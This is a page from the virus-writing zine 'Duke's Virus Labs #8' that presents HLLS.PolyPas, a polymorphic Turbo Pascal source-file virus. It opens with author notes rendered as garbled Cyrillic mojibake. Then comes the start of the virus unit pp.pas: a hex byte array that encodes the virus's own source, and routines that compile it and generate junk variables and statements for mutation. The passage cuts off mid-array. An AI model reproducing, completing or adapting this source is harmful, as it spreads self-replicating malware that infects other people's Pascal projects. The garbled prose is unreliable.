- [Duke's Virus Labs #8] - [Page 06] -

HLLS.PolyPas
(c) by Deviator/HAZARD

   : HLLS.PolyPas
       : Deviator/HAZARD
 ண. : Turbo Pascal 7.0

騩 .Pas . 뢠 PolyPas.
  .Pas 䠩.  ᪥ ᮧ 
unit  ᮬ  ࠦ  .pas 䠩,  ࠧ < 16k.

⪨:
- 㦥   Path (⥫쭮). ᫨ ⠪  諨 - ⠢塞
      -   .. ;)
-    Mutation Engine (  )
- ᫨  PP.Tpu ,-ࠢ 㤥 ᮧ .
- 㦭  250kb ᢮   ᪠  :(

:
-    ᪠    Command.Com
-     ਯ,  ,ࠧ 箬.

P.S. ஧䨫,祭  ५, ண .
P.S.S 樠쭮  DVL.

Deviator [HAZARD].

===== begin pp.pas =====
{ 㤠 .  뫮 ᤥ    ,   ;) }

Unit PP;                { Our unit name }
InterFace               { There is no names }
Implementation
Uses Dos;
{$I-}                   { No Error checking }
{$M $4000,0,65000}      { Not quite useful }
Type
SS = String[128];       { For victim sources  }
SSP = ^SS;
Const
ArrLen = 8920;          { Our sources length }
VarNum = 20;            { Maximum number of garbage variables }

Body : Array [0..ArrLen] of Byte = (
$55,$6E,$69,$74,$20,$50,$50,$3B,$0D,$0A,
$49,$6E,$74,$65,$72,$46,$61,$63,$65,$0D,
$0A,$49,$6D,$70,$6C,$65,$6D,$65,$6E,$74,
$61,$74,$69,$6F,$6E,$0D,$0A,$55,$73,$65,
$73,$20,$44,$6F,$73,$3B,$0D,$0A,$7B,$24,
$49,$2D,$7D,$0D,$0A,$7B,$24,$4D,$20,$24,
$34,$30,$30,$30,$2C,$30,$2C,$36,$35,$30,
$30,$30,$7D,$0D,$0A,$54,$79,$70,$65,$0D,
$0A,$53,$53,$20,$3D,$20,$53,$74,$72,$69,
$6E,$67,$5B,$31,$32,$38,$5D,$3B,$0D,$0A,
$53,$53,$50,$20,$3D,$20,$5E,$53,$53,$3B,
$0D,$0A,$43,$6F,$6E,$73,$74,$0D,$0A,$41,
$72,$72,$4C,$65,$6E,$20,$3D,$20,$38,$39,
$32,$30,$3B,$0D,$0A,$56,$61,$72,$4E,$75,
$6D,$20,$3D,$20,$32,$30,$3B,$0D,$0A,$42,
$6F,$64,$79,$20,$3A,$20,$41,$72,$72,$61,
$79,$20,$5B,$30,$2E,$2E,$41,$72,$72,$4C,
$65,$6E,$5D,$20,$6F,$66,$20,$42,$79,$74,
$65,$20,$3D,$20,$28,$0D,$0A,$29,$3B,$0D,
$0A,$56,$61,$72,$0D,$0A,$56,$61,$72,$73,
$20,$20,$20,$20,$20,$20,$20,$20,$20,$20,
$20,$20,$3A,$20,$41,$72,$72,$61,$79,$20,
$5B,$30,$2E,$2E,$56,$61,$72,$4E,$75,$6D,
$5D,$20,$6F,$66,$20,$53,$74,$72,$69,$6E,
$67,$5B,$31,$35,$5D,$3B,$0D,$0A,$56,$61,
$72,$73,$54,$20,$20,$20,$20,$20,$20,$20,
$20,$20,$20,$20,$3A,$20,$41,$72,$72,$61,
$79,$20,$5B,$30,$2E,$2E,$56,$61,$72,$4E,
$75,$6D,$5D,$20,$6F,$66,$20,$42,$79,$74,
$65,$3B,$0D,$0A,$56,$61,$72,$4E,$20,$20,
$20,$20,$20,$20,$20,$20,$20,$20,$20,$20,
$3A,$20,$57,$6F,$72,$64,$3B,$0D,$0A,$42,
$42,$4E,$20,$20,$20,$20,$20,$20,$20,$20,
$20,$20,$20,$20,$20,$3A,$20,$41,$72,$72,
$61,$79,$20,$5B,$30,$2E,$2E,$35,$30,$30,
$30,$5D,$20,$6F,$66,$20,$53,$53,$70,$3B,
$0D,$0A,$44,$65,$73,$74,$20,$20,$20,$20,
$20,$20,$20,$20,$20,$20,$20,$20,$3A,$20,
$50,$6F,$69,$6E,$74,$65,$72,$3B,$0D,$0A,
$57,$53,$74,$72,$69,$6E,$67,$20,$20,$20,
$20,$20,$20,$20,$20,$20,$3A,$20,$53,$74,
$72,$69,$6E,$67,$3B,$0D,$0A,$44,$53,$74,
$72,$69,$6E,$67,$20,$20,$20,$20,$20,$20,
$20,$20,$20,$3A,$20,$53,$74,$72,$69,$6E,
$67,$3B,$0D,$0A,$58,$53,$74,$72,$69,$6E,
$67,$20,$20,$20,$20,$20,$20,$20,$20,$20,
$3A,$20,$53,$74,$72,$69,$6E,$67,$3B,$0D,
$0A,$49,$2C,$5A,$2C,$58,$2C,$43,$2C,$56,
$20,$20,$20,$20,$20,$20,$20,$3A,$20,$49,
$6E,$74,$65,$67,$65,$72,$3B,$0D,$0A,$42,
$20,$20,$20,$20,$20,$20,$20,$20,$20,$20,
$20,$20,$20,$20,$20,$3A,$20,$42,$79,$74,
$65,$3B,$0D,$0A,$49,$6E,$46,$75,$6E,$63,
$74,$69,$6F,$6E,$20,$20,$20,$20,$20,$20,
$3A,$20,$42,$6F,$6F,$6C,$65,$61,$6E,$3B,
$0D,$0A,$42,$65,$67,$69,$6E,$4E,$75,$6D,
$20,$20,$20,$20,$20,$20,$20,$20,$3A,$20,
$42,$79,$74,$65,$3B,$0D,$0A,$46,$43,$6F,
$6E,$73,$74,$20,$20,$20,$20,$20,$20,$20,
$20,$20,$20,$3A,$20,$42,$6F,$6F,$6C,$65,
$61,$6E,$3B,$0D,$0A,$46,$56,$61,$72,$20,
$20,$20,$20,$20,$20,$20,$20,$20,$20,$20,
$20,$3A,$20,$42,$6F,$6F,$6C,$65,$61,$6E,
$3B,$0D,$0A,$46,$75,$6E,$63,$74,$69,$6F,
$6E,$42,$65,$67,$20,$20,$20,$20,$20,$3A,
$20,$42,$6F,$6F,$6C,$65,$61,$6E,$3B,$0D,
$0A,$4E,$6F,$4D,$6F,$72,$65,$20,$20,$20,
$20,$20,$20,$20,$20,$20,$20,$3A,$20,$42,
$6F,$6F,$6C,$65,$61,$6E,$3B,$0D,$0A,$42,
$65,$67,$69,$6E,$46,$75,$6E,$63,$20,$20,
$20,$20,$20,$20,$20,$3A,$20,$42,$79,$74,
$65,$3B,$0D,$0A,$49,$6E,$43,$61,$73,$65,
$20,$20,$20,$20,$20,$20,$20,$20,$20,$20,
$3A,$20,$42,$6F,$6F,$6C,$65,$61,$6E,$3B,
$20,$4B,$65,$79,$7A,$3A,$42,$79,$74,$65,
$3B,$0D,$0A,$46,$69,$7A,$20,$20,$20,$20,
$20,$20,$20,$20,$20,$20,$20,$20,$20,$3A,
$20,$53,$65,$61,$72,$63,$68,$52,$65,$63,
$3B,$0D,$0A,$46,$65,$7A,$69,$20,$20,$20,
$20,$20,$20,$20,$20,$20,$20,$20,$20,$3A,
$20,$54,$65,$78,$74,$3B,$0D,$0A,$41,$20,
$20,$20,$20,$20,$20,$20,$20,$20,$20,$20,
$20,$20,$20,$20,$3A,$20,$54,$65,$78,$74,
$3B,$0D,$0A,$43,$50,$6F,$73,$20,$20,$20,
$20,$20,$20,$20,$20,$20,$20,$20,$20,$3A,
$20,$49,$6E,$74,$65,$67,$65,$72,$3B,$0D,
$0A,$4B,$65,$79,$20,$20,$20,$20,$20,$20,
$20,$20,$20,$20,$20,$20,$20,$3A,$20,$42,
$79,$74,$65,$3B,$0D,$0A,$42,$70,$6F,$73,
$20,$20,$20,$20,$20,$20,$20,$20,$20,$20,
$20,$20,$3A,$20,$42,$6F,$6F,$6C,$65,$61,
$6E,$3B,$0D,$0A,$49,$6E,$47,$20,$20,$20,
$20,$20,$20,$20,$20,$20,$20,$20,$20,$20,
$3A,$20,$42,$79,$74,$65,$3B,$0D,$0A,$49,
$6E,$4C,$6F,$6F,$70,$20,$20,$20,$20,$20,
$20,$20,$20,$20,$20,$3A,$20,$42,$6F,$6F,
$6C,$65,$61,$6E,$3B,$0D,$0A,$49,$6E,$4C,
$6F,$6F,$70,$56,$61,$72,$20,$20,$20,$20,
$20,$20,$20,$3A,$20,$42,$79,$74,$65,$3B,
$0D,$0A,$0D,$0A,$50,$72,$6F,$63,$65,$64,
$75,$72,$65,$20,$20,$4F,$75,$72,$50,$72,
$6F,$63,$3B,$20,$49,$6E,$74,$65,$72,$72,
$75,$70,$74,$3B,$20,$42,$65,$67,$69,$6E,
$20,$45,$6E,$64,$3B,$0D,$0A,$0D,$0A,$50,
$72,$6F,$63,$65,$64,$75,$72,$65,$20,$20,
$43,$6F,$6D,$70,$69,$6C,$65,$28,$43,$4E,
$61,$6D,$65,$3A,$53,$74,$72,$69,$6E,$67,
$29,$3B,$0D,$0A,$56,$61,$72,$0D,$0A,$46,
$3A,$53,$74,$72,$69,$6E,$67,$3B,$0D,$0A,
$47,$3A,$50,$6F,$69,$6E,$74,$65,$72,$3B,
$0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A,$47,
$65,$74,$49,$6E,$74,$56,$65,$63,$28,$24,
$31,$30,$2C,$47,$29,$3B,$0D,$0A,$53,$65,
$74,$49,$6E,$74,$56,$65,$63,$28,$24,$31,
$30,$2C,$41,$64,$64,$72,$28,$4F,$75,$72,
$50,$72,$6F,$63,$29,$29,$3B,$0D,$0A,$53,
$77,$61,$70,$56,$65,$63,$74,$6F,$72,$73,
$3B,$0D,$0A,$46,$20,$3A,$3D,$20,$27,$2D,
$51,$20,$27,$2B,$44,$53,$74,$72,$69,$6E,
$67,$20,$2B,$20,$27,$5C,$50,$50,$2E,$50,
$41,$53,$27,$3B,$0D,$0A,$45,$78,$65,$63,
$28,$43,$4E,$41,$4D,$45,$2C,$46,$29,$3B,
$0D,$0A,$53,$77,$61,$70,$56,$65,$63,$74,
$6F,$72,$73,$3B,$0D,$0A,$53,$65,$74,$49,
$6E,$74,$56,$65,$63,$28,$24,$31,$30,$2C,
$47,$29,$3B,$0D,$0A,$45,$6E,$64,$3B,$0D,
$0A,$0D,$0A,$46,$75,$6E,$63,$74,$69,$6F,
$6E,$20,$54,$6F,$57,$6F,$72,$64,$28,$53,
$74,$72,$50,$3A,$53,$74,$72,$69,$6E,$67,
$29,$3A,$53,$74,$72,$69,$6E,$67,$3B,$0D,
$0A,$56,$61,$72,$0D,$0A,$67,$3A,$49,$6E,
$74,$65,$67,$65,$72,$3B,$0D,$0A,$42,$65,
$67,$69,$6E,$0D,$0A,$54,$6F,$57,$6F,$72,
$64,$20,$3A,$3D,$20,$27,$27,$3B,$0D,$0A,
$46,$6F,$72,$20,$67,$20,$3A,$3D,$20,$31,
$20,$74,$6F,$20,$4C,$65,$6E,$67,$74,$68,
$28,$53,$74,$72,$50,$29,$20,$64,$6F,$0D,
$0A,$49,$66,$20,$28,$53,$74,$72,$50,$5B,
$47,$5D,$20,$3C,$3E,$20,$27,$20,$27,$29,
$20,$61,$6E,$64,$20,$28,$53,$74,$72,$50,
$5B,$47,$5D,$20,$3C,$3E,$20,$43,$68,$72,
$28,$39,$29,$29,$20,$74,$68,$65,$6E,$0D,
$0A,$42,$65,$67,$69,$6E,$0D,$0A,$54,$6F,
$57,$6F,$72,$64,$20,$3A,$3D,$20,$43,$6F,
$70,$79,$28,$53,$74,$72,$50,$2C,$47,$2C,
$4C,$65,$6E,$67,$74,$68,$28,$53,$74,$72,
$50,$29,$2D,$47,$2B,$31,$29,$3B,$0D,$0A,
$42,$72,$65,$61,$6B,$3B,$0D,$0A,$45,$6E,
$64,$3B,$0D,$0A,$45,$6E,$64,$3B,$0D,$0A,
$0D,$0A,$0D,$0A,$46,$75,$6E,$63,$74,$69,
$6F,$6E,$20,$57,$6F,$72,$64,$43,$6F,$75,
$6E,$74,$28,$46,$46,$3A,$53,$74,$72,$69,
$6E,$67,$29,$3A,$42,$79,$74,$65,$3B,$0D,
$0A,$56,$61,$72,$0D,$0A,$53,$2C,$47,$3A,
$53,$74,$72,$69,$6E,$67,$3B,$0D,$0A,$42,
$2C,$4C,$3A,$42,$79,$74,$65,$3B,$0D,$0A,
$42,$65,$67,$69,$6E,$0D,$0A,$42,$20,$3A,
$3D,$20,$30,$3B,$0D,$0A,$53,$20,$3A,$3D,
$20,$54,$6F,$57,$6F,$72,$64,$28,$46,$46,
$29,$3B,$0D,$0A,$72,$65,$70,$65,$61,$74,
$0D,$0A,$4C,$20,$3A,$3D,$20,$50,$6F,$73,
$28,$27,$20,$27,$2C,$53,$29,$3B,$0D,$0A,
$53,$20,$3A,$3D,$20,$43,$6F,$70,$79,$28,
$53,$2C,$4C,$2B,$31,$2C,$4C,$65,$6E,$67,
$74,$68,$28,$53,$29,$29,$3B,$0D,$0A,$49,
$6E,$63,$28,$42,$29,$3B,$0D,$0A,$75,$6E,
$74,$69,$6C,$20,$4C,$20,$3D,$20,$30,$3B,
$0D,$0A,$57,$6F,$72,$64,$43,$6F,$75,$6E,
$74,$20,$3A,$3D,$20,$42,$20,$2D,$20,$31,
$3B,$0D,$0A,$45,$6E,$64,$3B,$0D,$0A,$0D,
$0A,$46,$75,$6E,$63,$74,$69,$6F,$6E,$20,
$47,$65,$74,$53,$74,$72,$69,$6E,$67,$3A,
$53,$74,$72,$69,$6E,$67,$3B,$0D,$0A,$56,
$61,$72,$0D,$0A,$46,$3A,$53,$74,$72,$69,
$6E,$67,$3B,$0D,$0A,$4B,$2C,$4C,$3A,$49,
$6E,$74,$65,$67,$65,$72,$3B,$0D,$0A,$42,
$65,$67,$69,$6E,$0D,$0A,$46,$20,$3A,$3D,
$20,$27,$27,$3B,$0D,$0A,$72,$65,$70,$65,
$61,$74,$0D,$0A,$42,$20,$3A,$3D,$20,$42,
$6F,$64,$79,$5B,$43,$50,$6F,$73,$5D,$3B,
$0D,$0A,$49,$6E,$63,$28,$43,$70,$6F,$73,
$29,$3B,$0D,$0A,$49,$66,$20,$28,$42,$20,
$3C,$3E,$20,$24,$30,$44,$29,$20,$61,$6E,
$64,$20,$28,$42,$20,$3C,$3E,$20,$24,$30,
$41,$29,$20,$74,$68,$65,$6E,$20,$46,$20,
$3A,$3D,$20,$46,$20,$2B,$20,$43,$68,$72,
$28,$42,$29,$3B,$0D,$0A,$75,$6E,$74,$69,
$6C,$20,$28,$42,$3D,$24,$30,$44,$29,$20,
$6F,$72,$20,$28,$42,$3D,$24,$30,$41,$29,
$3B,$0D,$0A,$49,$66,$20,$28,$42,$6F,$64,
$79,$5B,$43,$50,$6F,$73,$5D,$20,$3D,$20,
$24,$30,$41,$29,$20,$6F,$72,$20,$28,$42,
$6F,$64,$79,$5B,$43,$50,$6F,$73,$5D,$20,
$3D,$20,$24,$30,$44,$29,$20,$74,$68,$65,
$6E,$20,$49,$6E,$63,$28,$43,$50,$6F,$73,
$29,$3B,$0D,$0A,$47,$65,$74,$53,$74,$72,
$69,$6E,$67,$20,$3A,$3D,$20,$46,$3B,$0D,
$0A,$45,$6E,$64,$3B,$0D,$0A,$0D,$0A,$46,
$75,$6E,$63,$74,$69,$6F,$6E,$20,$55,$43,
$61,$73,$65,$28,$53,$74,$72,$50,$3A,$53,
$74,$72,$69,$6E,$67,$29,$3A,$53,$74,$72,
$69,$6E,$67,$3B,$0D,$0A,$56,$61,$72,$0D,
$0A,$47,$3A,$49,$6E,$74,$65,$67,$65,$72,
$3B,$0D,$0A,$4D,$3A,$53,$74,$72,$69,$6E,
$67,$3B,$0D,$0A,$42,$65,$67,$69,$6E,$0D,
$0A,$4D,$20,$3A,$3D,$20,$27,$27,$3B,$0D,
$0A,$46,$6F,$72,$20,$47,$20,$3A,$3D,$20,
$31,$20,$74,$6F,$20,$4C,$65,$6E,$67,$74,
$68,$28,$53,$74,$72,$50,$29,$20,$64,$6F,
$20,$4D,$20,$3A,$3D,$20,$4D,$20,$2B,$20,
$55,$70,$43,$61,$73,$65,$28,$53,$74,$72,
$50,$5B,$47,$5D,$29,$3B,$0D,$0A,$55,$43,
$61,$73,$65,$20,$3A,$3D,$20,$4D,$3B,$0D,
$0A,$45,$6E,$64,$3B,$0D,$0A,$46,$75,$6E,
$63,$74,$69,$6F,$6E,$20,$47,$65,$74,$57,
$6F,$72,$64,$28,$53,$74,$72,$50,$3A,$53,
$74,$72,$69,$6E,$67,$3B,$43,$6F,$75,$6E,
$74,$3A,$49,$6E,$74,$65,$67,$65,$72,$29,
$3A,$53,$74,$72,$69,$6E,$67,$3B,$0D,$0A,
$56,$61,$72,$0D,$0A,$4C,$3A,$53,$74,$72,
$69,$6E,$67,$3B,$0D,$0A,$47,$2C,$42,$2C,
$4E,$3A,$49,$6E,$74,$65,$67,$65,$72,$3B,
$0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A,$47,
$20,$3A,$3D,$20,$31,$3B,$0D,$0A,$42,$20,
$3A,$3D,$20,$43,$6F,$75,$6E,$74,$3B,$0D,
$0A,$4C,$20,$3A,$3D,$20,$27,$27,$3B,$0D,
$0A,$46,$6F,$72,$20,$4E,$20,$3A,$3D,$20,
$31,$20,$74,$6F,$20,$4C,$65,$6E,$67,$74,
$68,$28,$53,$74,$72,$50,$29,$20,$64,$6F,
$0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A,$49,
$66,$20,$28,$53,$74,$72,$50,$5B,$4E,$5D,
$20,$3D,$20,$27,$20,$27,$29,$20,$6F,$72,
$20,$28,$53,$74,$72,$50,$5B,$4E,$5D,$20,
$3D,$20,$43,$68,$72,$28,$24,$30,$39,$29,
$29,$20,$74,$68,$65,$6E,$0D,$0A,$42,$65,
$67,$69,$6E,$0D,$0A,$4C,$20,$3A,$3D,$20,
$43,$6F,$70,$79,$28,$53,$74,$72,$50,$2C,
$47,$2C,$4E,$2D,$31,$29,$3B,$0D,$0A,$44,
$65,$63,$28,$42,$29,$3B,$0D,$0A,$49,$66,
$20,$28,$42,$29,$20,$3D,$20,$30,$20,$74,
$68,$65,$6E,$20,$42,$72,$65,$61,$6B,$3B,
$0D,$0A,$44,$65,$63,$28,$4E,$29,$3B,$0D,
$0A,$72,$65,$70,$65,$61,$74,$0D,$0A,$49,
$6E,$63,$28,$4E,$29,$3B,$0D,$0A,$75,$6E,
$74,$69,$6C,$20,$53,$74,$72,$50,$5B,$4E,
$5D,$20,$3D,$20,$27,$20,$27,$3B,$0D,$0A,
$45,$6E,$64,$3B,$0D,$0A,$45,$6E,$64,$3B,
$0D,$0A,$49,$66,$20,$4E,$20,$3D,$20,$4C,
$65,$6E,$67,$74,$68,$28,$53,$74,$72,$50,
$29,$20,$74,$68,$65,$6E,$20,$4C,$20,$3A,
$3D,$20,$43,$6F,$70,$79,$28,$53,$74,$72,
$50,$2C,$47,$2C,$4E,$29,$3B,$0D,$0A,$47,
$65,$74,$57,$6F,$72,$64,$20,$3A,$3D,$20,
$4C,$3B,$0D,$0A,$45,$6E,$64,$3B,$0D,$0A,
$0D,$0A,$50,$72,$6F,$63,$65,$64,$75,$72,
$65,$20,$4D,$61,$6B,$65,$47,$61,$72,$62,
$3B,$20,$46,$6F,$72,$77,$61,$72,$64,$3B,
$0D,$0A,$0D,$0A,$50,$72,$6F,$63,$65,$64,
$75,$72,$65,$20,$4D,$61,$6B,$65,$56,$61,
$72,$3B,$0D,$0A,$43,$6F,$6E,$73,$74,$0D,
$0A,$56,$61,$72,$74,$3A,$41,$72,$72,$61,
$79,$5B,$30,$2E,$2E,$34,$5D,$20,$6F,$66,
$20,$53,$74,$72,$69,$6E,$67,$20,$3D,$20,
$28,$27,$42,$79,$74,$65,$27,$2C,$27,$53,
$74,$72,$69,$6E,$67,$27,$2C,$27,$42,$6F,
$6F,$6C,$65,$61,$6E,$27,$2C,$27,$49,$6E,
$74,$65,$67,$65,$72,$27,$2C,$27,$43,$68,
$61,$72,$27,$29,$3B,$0D,$0A,$56,$61,$72,
$0D,$0A,$46,$3A,$53,$74,$72,$69,$6E,$67,
$5B,$31,$35,$5D,$3B,$0D,$0A,$47,$2C,$49,
$2C,$48,$3A,$49,$6E,$74,$65,$67,$65,$72,
$3B,$0D,$0A,$42,$42,$3A,$42,$79,$74,$65,
$3B,$0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A,
$49,$20,$3A,$3D,$20,$52,$61,$6E,$64,$6F,
$6D,$28,$31,$30,$29,$2B,$34,$3B,$0D,$0A,
$46,$20,$3A,$3D,$20,$27,$27,$3B,$0D,$0A,
$46,$6F,$72,$20,$48,$20,$3A,$3D,$20,$30,
$20,$74,$6F,$20,$49,$20,$64,$6F,$20,$46,
$20,$3A,$3D,$20,$46,$20,$2B,$20,$43,$68,
$72,$28,$52,$61,$6E,$64,$6F,$6D,$28,$32,
$34,$29,$2B,$36,$35,$29,$3B,$0D,$0A,$46,
$6F,$72,$20,$48,$20,$3A,$3D,$20,$30,$20,
$74,$6F,$20,$56,$61,$72,$4E,$20,$64,$6F,
$20,$49,$66,$20,$56,$61,$72,$73,$5B,$48,
$5D,$20,$3D,$20,$46,$20,$74,$68,$65,$6E,
$20,$45,$78,$69,$74,$3B,$0D,$0A,$57,$72,
$69,$74,$65,$28,$41,$2C,$46,$29,$3B,$0D,
$0A,$56,$61,$72,$73,$5B,$56,$61,$72,$4E,
$5D,$20,$3A,$3D,$20,$46,$3B,$0D,$0A,$42,
$42,$20,$3A,$3D,$20,$52,$61,$6E,$64,$6F,
$6D,$28,$34,$29,$3B,$0D,$0A,$57,$72,$69,
$74,$65,$6C,$6E,$28,$41,$2C,$27,$20,$20,
$3A,$20,$27,$2B,$56,$61,$72,$74,$5B,$42,
$42,$5D,$2B,$27,$3B,$27,$29,$3B,$0D,$0A,
$56,$61,$72,$73,$54,$5B,$56,$61,$72,$4E,
$5D,$20,$3A,$3D,$20,$42,$42,$3B,$0D,$0A,
$49,$6E,$63,$28,$56,$61,$72,$4E,$29,$3B,
$0D,$0A,$45,$6E,$64,$3B,$0D,$0A,$0D,$0A,
$50,$72,$6F,$63,$65,$64,$75,$72,$65,$20,
$4D,$61,$6B,$65,$41,$72,$3B,$0D,$0A,$43,
$6F,$6E,$73,$74,$0D,$0A,$42,$6F,$6F,$7A,
$3A,$41,$72,$72,$61,$79,$5B,$30,$2E,$2E,
$31,$5D,$20,$6F,$66,$20,$53,$74,$72,$69,
$6E,$67,$5B,$35,$5D,$20,$3D,$20,$28,$27,
$54,$72,$75,$65,$27,$2C,$27,$46,$61,$6C,
$73,$65,$27,$29,$3B,$0D,$0A,$56,$61,$72,
$0D,$0A,$46,$3A,$53,$74,$72,$69,$6E,$67,
$3B,$0D,$0A,$47,$2C,$48,$2C,$4A,$3A,$49,
$6E,$74,$65,$67,$65,$72,$3B,$0D,$0A,$42,
$65,$67,$69,$6E,$0D,$0A,$72,$65,$70,$65,
$61,$74,$0D,$0A,$47,$20,$3A,$3D,$20,$52,
$61,$6E,$64,$6F,$6D,$28,$56,$61,$72,$4E,
$2D,$31,$29,$3B,$0D,$0A,$75,$6E,$74,$69,
$6C,$20,$47,$20,$3C,$3E,$20,$49,$6E,$4C,
$6F,$6F,$70,$56,$61,$72,$3B,$0D,$0A,$57,
$72,$69,$74,$65,$28,$41,$2C,$56,$61,$72,
$73,$5B,$47,$5D,$2B,$27,$20,$3A,$3D,$20,
$27,$29,$3B,$0D,$0A,$49,$66,$20,$56,$61,
$72,$73,$54,$5B,$47,$5D,$20,$3D,$20,$32,
$20,$74,$68,$65,$6E,$20,$57,$72,$69,$74,
$65,$6C,$6E,$28,$41,$2C,$42,$6F,$6F,$7A,
$5B,$52,$61,$6E,$64,$6F,$6D,$28,$31,$29,
$5D,$2B,$27,$3B,$27,$29,$3B,$0D,$0A,$49,
$66,$20,$56,$61,$72,$73,$54,$5B,$47,$5D,
$20,$3D,$20,$31,$20,$74,$68,$65,$6E,$0D,
$0A,$42,$65,$67,$69,$6E,$0D,$0A,$4A,$20,
$3A,$3D,$20,$52,$61,$6E,$64,$6F,$6D,$28,
$31,$30,$29,$2B,$35,$3B,$0D,$0A,$46,$20,
$3A,$3D,$20,$43,$68,$72,$28,$33,$39,$29,
$3B,$0D,$0A,$49,$66,$20,$56,$61,$72,$73,
$54,$5B,$47,$5D,$20,$3D,$20,$31,$20,$74,
$68,$65,$6E,$20,$46,$6F,$72,$20,$48,$20,
$3A,$3D,$20,$30,$20,$74,$6F,$20,$4A,$20,
$64,$6F,$20,$46,$20,$3A,$3D,$20,$46,$20,
$2B,$20,$43,$68,$72,$28,$52,$61,$6E,$64,
$6F,$6D,$28,$32,$34,$29,$2B,$36,$35,$29,
$3B,$0D,$0A,$46,$20,$3A,$3D,$20,$46,$20,
$2B,$20,$43,$68,$72,$28,$33,$39,$29,$2B,
$27,$3B,$27,$3B,$0D,$0A,$57,$72,$69,$74,
$65,$6C,$6E,$28,$41,$2C,$46,$29,$3B,$0D,
$0A,$45,$6E,$64,$3B,$0D,$0A,$49,$66,$20,
$56,$61,$72,$73,$54,$5B,$47,$5D,$20,$3D,
$20,$34,$20,$74,$68,$65,$6E,$20,$57,$72,
$69,$74,$65,$6C,$6E,$28,$41,$2C,$43,$68,
$72,$28,$33,$39,$29,$2B,$43,$68,$72,$28,
$52,$61,$6E,$64,$6F,$6D,$28,$32,$34,$29,
$2B,$36,$35,$29,$2B,$43,$68,$72,$28,$33,
$39,$29,$2B,$27,$3B,$27,$29,$3B,$0D,$0A,
$49,$66,$20,$56,$61,$72,$73,$54,$5B,$47,
$5D,$20,$3D,$20,$30,$20,$74,$68,$65,$6E,
$0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A,$48,
$20,$3A,$3D,$20,$52,$61,$6E,$64,$6F,$6D,
$28,$32,$35,$35,$29,$3B,$0D,$0A,$57,$72,
$69,$74,$65,$6C,$6E,$28,$41,$2C,$48,$2C,
$27,$3B,$27,$29,$3B,$0D,$0A,$45,$6E,$64,
$3B,$0D,$0A,$49,$66,$20,$56,$61,$72,$73,
$54,$5B,$47,$5D,$20,$3D,$20,$33,$20,$74,
$68,$65,$6E,$0D,$0A,$42,$65,$67,$69,$6E,
$0D,$0A,$48,$20,$3A,$3D,$20,$52,$61,$6E,
$64,$6F,$6D,$28,$36,$35,$35,$33,$35,$29,
$3B,$0D,$0A,$57,$72,$69,$74,$65,$6C,$6E,
$28,$41,$2C,$48,$2C,$27,$3B,$27,$29,$3B,
$0D,$0A,$45,$6E,$64,$3B,$0D,$0A,$45,$6E,
$64,$3B,$0D,$0A,$0D,$0A,$50,$72,$6F,$63,
$65,$64,$75,$72,$65,$20,$4D,$61,$6B,$65,
$49,$66,$3B,$0D,$0A,$43,$6F,$6E,$73,$74,
$0D,$0A,$42,$6F,$6F,$7A,$3A,$41,$72,$72,
$61,$79,$5B,$30,$2E,$2E,$31,$5D,$20,$6F,
$66,$20,$53,$74,$72,$69,$6E,$67,$5B,$35,
$5D,$20,$3D,$20,$28,$27,$54,$72,$75,$65,
$27,$2C,$27,$46,$61,$6C,$73,$65,$27,$29,
$3B,$0D,$0A,$56,$61,$72,$0D,$0A,$47,$2C,
$48,$2C,$4A,$3A,$49,$6E,$74,$65,$67,$65,
$72,$3B,$0D,$0A,$46,$3A,$53,$74,$72,$69,
$6E,$67,$3B,$0D,$0A,$42,$65,$67,$69,$6E,
$0D,$0A,$57,$72,$69,$74,$65,$28,$41,$2C,
$27,$49,$66,$20,$27,$29,$3B,$0D,$0A,$47,
$20,$3A,$3D,$20,$52,$61,$6E,$64,$6F,$6D,
$28,$56,$61,$72,$4E,$2D,$31,$29,$3B,$0D,
$0A,$57,$72,$69,$74,$65,$28,$41,$2C,$56,
$61,$72,$73,$5B,$47,$5D,$2B,$27,$20,$3D,
$20,$27,$29,$3B,$0D,$0A,$49,$66,$20,$56,
$61,$72,$73,$54,$5B,$47,$5D,$20,$3D,$20,
$32,$20,$74,$68,$65,$6E,$20,$57,$72,$69,
$74,$65,$28,$41,$2C,$42,$6F,$6F,$7A,$5B,
$52,$61,$6E,$64,$6F,$6D,$28,$31,$29,$5D,
$29,$3B,$0D,$0A,$49,$66,$20,$56,$61,$72,
$73,$54,$5B,$47,$5D,$20,$3D,$20,$31,$20,
$74,$68,$65,$6E,$0D,$0A,$42,$65,$67,$69,
$6E,$0D,$0A,$4A,$20,$3A,$3D,$20,$52,$61,
$6E,$64,$6F,$6D,$28,$31,$30,$29,$2B,$35,
$3B,$0D,$0A,$46,$20,$3A,$3D,$20,$43,$68,
$72,$28,$33,$39,$29,$3B,$0D,$0A,$49,$66,
$20,$56,$61,$72,$73,$54,$5B,$47,$5D,$20,
$3D,$20,$31,$20,$74,$68,$65,$6E,$20,$46,
$6F,$72,$20,$48,$20,$3A,$3D,$20,$30,$20,
$74,$6F,$20,$4A,$20,$64,$6F,$20,$46,$20,
$3A,$3D,$20,$46,$20,$2B,$20,$43,$68,$72,
$28,$52,$61,$6E,$64,$6F,$6D,$28,$32,$34,
$29,$2B,$36,$35,$29,$3B,$0D,$0A,$46,$20,
$3A,$3D,$20,$46,$20,$2B,$20,$43,$68,$72,
$28,$33,$39,$29,$3B,$0D,$0A,$57,$72,$69,
$74,$65,$28,$41,$2C,$46,$29,$3B,$0D,$0A,
$45,$6E,$64,$3B,$0D,$0A,$49,$66,$20,$56,
$61,$72,$73,$54,$5B,$47,$5D,$20,$3D,$20,
$34,$20,$74,$68,$65,$6E,$20,$57,$72,$69,
$74,$65,$28,$41,$2C,$43,$68,$72,$28,$33,
$39,$29,$2B,$43,$68,$72,$28,$52,$61,$6E,
$64,$6F,$6D,$28,$32,$34,$29,$2B,$36,$35,
$29,$2B,$43,$68,$72,$28,$33,$39,$29,$29,
$3B,$0D,$0A,$49,$66,$20,$56,$61,$72,$73,
$54,$5B,$47,$5D,$20,$3D,$20,$30,$20,$74,
$68,$65,$6E,$0D,$0A,$42,$65,$67,$69,$6E,
$0D,$0A,$48,$20,$3A,$3D,$20,$52,$61,$6E,
$64,$6F,$6D,$28,$32,$35,$35,$29,$3B,$0D,
$0A,$57,$72,$69,$74,$65,$28,$41,$2C,$48,
$29,$3B,$0D,$0A,$45,$6E,$64,$3B,$0D,$0A,
$49,$66,$20,$56,$61,$72,$73,$54,$5B,$47,
